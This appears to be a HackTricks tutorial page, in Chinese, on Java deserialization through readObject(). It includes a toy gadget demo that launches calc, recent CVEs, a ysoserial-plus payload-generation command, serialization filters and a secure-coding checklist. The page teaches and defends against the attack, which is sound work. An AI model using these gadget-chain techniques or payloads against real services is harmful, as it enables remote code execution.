Basic Java Deserialization with ObjectInputStream readObject
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
在这篇文章中,将解释一个使用 java.io.Serializable
的示例以及为什么重写 readObject()
在输入流由攻击者控制时可能极其危险。
Serializable
Java Serializable
接口 (java.io.Serializable
) 是一个标记接口,您的类必须实现它才能被 序列化 和 反序列化。Java 对象序列化(写入)是通过 ObjectOutputStream
完成的,反序列化(读取)是通过 ObjectInputStream
完成的。
提醒:在反序列化过程中哪些方法会被隐式调用?
readObject()
– 类特定的读取逻辑(如果实现且为 private)。readResolve()
– 可以用另一个对象替换反序列化的对象。validateObject()
– 通过ObjectInputValidation
回调。readExternal()
– 对于实现Externalizable
的类。- 构造函数 不会 被执行 – 因此小工具链完全依赖于之前的回调。
在该链中的任何方法如果最终调用了攻击者控制的数据(命令执行、JNDI 查找、反射等),将使反序列化例程变成 RCE 小工具。
让我们看一个 Person 类 的示例,该类是 可序列化的。这个类 重写了 readObject 函数,因此当 该类的任何对象 被 反序列化 时,这个 函数 将被 执行。
在这个示例中,Person 类的 readObject 函数调用了它的宠物的 eat()
函数,而 Dog 的 eat()
函数(出于某种原因)调用了 calc.exe。 我们将看到如何序列化和反序列化一个 Person 对象以执行这个计算器:
import java.io.Serializable;
import java.io.*;
public class TestDeserialization {
interface Animal {
public void eat();
}
//Class must implements Serializable to be serializable
public static class Cat implements Animal,Serializable {
@Override
public void eat() {
System.out.println("cat eat fish");
}
}
//Class must implements Serializable to be serializable
public static class Dog implements Animal,Serializable {
@Override
public void eat() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("dog eat bone");
}
}
//Class must implements Serializable to be serializable
public static class Person implements Serializable {
private Animal pet;
public Person(Animal pet){
this.pet = pet;
}
//readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat()
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
pet = (Animal) stream.readObject();
pet.eat();
}
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(String[] args) throws Exception {
// Example to call Person with a Dog
Animal animal = new Dog();
Person person = new Person(animal);
GeneratePayload(person,"test.ser");
payloadTest("test.ser");
// Example to call Person with a Cat
//Animal animal = new Cat();
//Person person = new Person(animal);
//GeneratePayload(person,"test.ser");
//payloadTest("test.ser");
}
}
结论(经典场景)
正如您在这个非常基本的例子中所看到的,这里的“漏洞”出现是因为 readObject() 方法 调用了其他攻击者控制的代码。在现实世界的 gadget 链中,成千上万的类包含在外部库中(Commons-Collections、Spring、Groovy、Rome、SnakeYAML 等)可以被滥用——攻击者只需要 一个 可达的 gadget 就能获得代码执行。
2023-2025:Java 反序列化攻击的新动态
- 2023 – CVE-2023-34040:当
checkDeserExWhen*
标志启用时,Spring-Kafka 反序列化错误记录头允许从攻击者发布的主题构造任意 gadget。已在 3.0.10 / 2.9.11 中修复。¹ - 2023 – CVE-2023-36480:Aerospike Java 客户端的受信任服务器假设被破坏——恶意服务器回复包含被客户端 反序列化 的序列化有效负载 → RCE。²
- 2023 – CVE-2023-25581:
pac4j-core
用户配置文件属性解析接受{#sb64}
前缀的 Base64 blob,并在RestrictedObjectInputStream
的情况下反序列化它们。升级 ≥ 4.0.0。 - 2023 – CVE-2023-4528:JSCAPE MFT Manager Service(端口 10880)接受 XML 编码的 Java 对象,导致以 root/SYSTEM 身份的 RCE。
- 2024 – 多个新的 gadget 链被添加到 ysoserial-plus(mod),包括 Hibernate5、TomcatEmbed 和 SnakeYAML 2.x 类,这些类绕过了一些旧的过滤器。
现代缓解措施
- JEP 290 / 序列化过滤(Java 9+) 添加类的允许列表或拒绝列表:
# 仅接受您的 DTO 和 java.base,拒绝其他所有内容
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"
编程示例:
var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
ObjectInputFilter.Config.setSerialFilter(filter);
- JEP 415(Java 17+)上下文特定过滤器工厂 – 使用
BinaryOperator<ObjectInputFilter>
根据执行上下文(例如,每个 RMI 调用、每个消息队列消费者)应用不同的过滤器。 - 不要通过网络暴露原始
ObjectInputStream
– 更倾向于没有代码执行语义的 JSON/二进制编码(Jackson 在禁用DefaultTyping
后,Protobuf、Avro 等)。 - 深度防御限制 – 设置最大数组长度、深度、引用:
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
- 持续的 gadget 扫描 – 在您的 CI 中运行工具,如
gadget-inspector
或serialpwn-cli
,如果危险的 gadget 变得可达则失败构建。
更新的工具备忘单(2024)
ysoserial-plus.jar
– 社区分支,包含 > 130 个 gadget 链:
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
marshalsec
– 仍然是 JNDI gadget 生成的参考(LDAP/RMI)。gadget-probe
– 针对网络服务的快速黑盒 gadget 发现。SerialSniffer
– JVMTI 代理,打印每个被ObjectInputStream
读取的类(有助于制作过滤器)。- 检测提示 – 启用
-Djdk.serialDebug=true
(JDK 22+)以记录过滤器决策和被拒绝的类。
安全 readObject()
实现的快速检查清单
- 将方法设为
private
并添加@Serial
注解(有助于静态分析)。 - 切勿在方法中调用用户提供的方法或执行 I/O – 仅读取字段。
- 如果需要验证,请在反序列化 后 执行,位于
readObject()
之外。 - 更倾向于实现
Externalizable
并显式读取字段,而不是默认序列化。 - 即使对于内部服务,也要注册一个强化的
ObjectInputFilter
(抗妥协设计)。
参考文献
- Spring Security Advisory – CVE-2023-34040 Java 反序列化在 Spring-Kafka 中(2023 年 8 月)
- GitHub Security Lab – GHSL-2023-044:Aerospike Java 客户端中的不安全反序列化(2023 年 7 月)
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。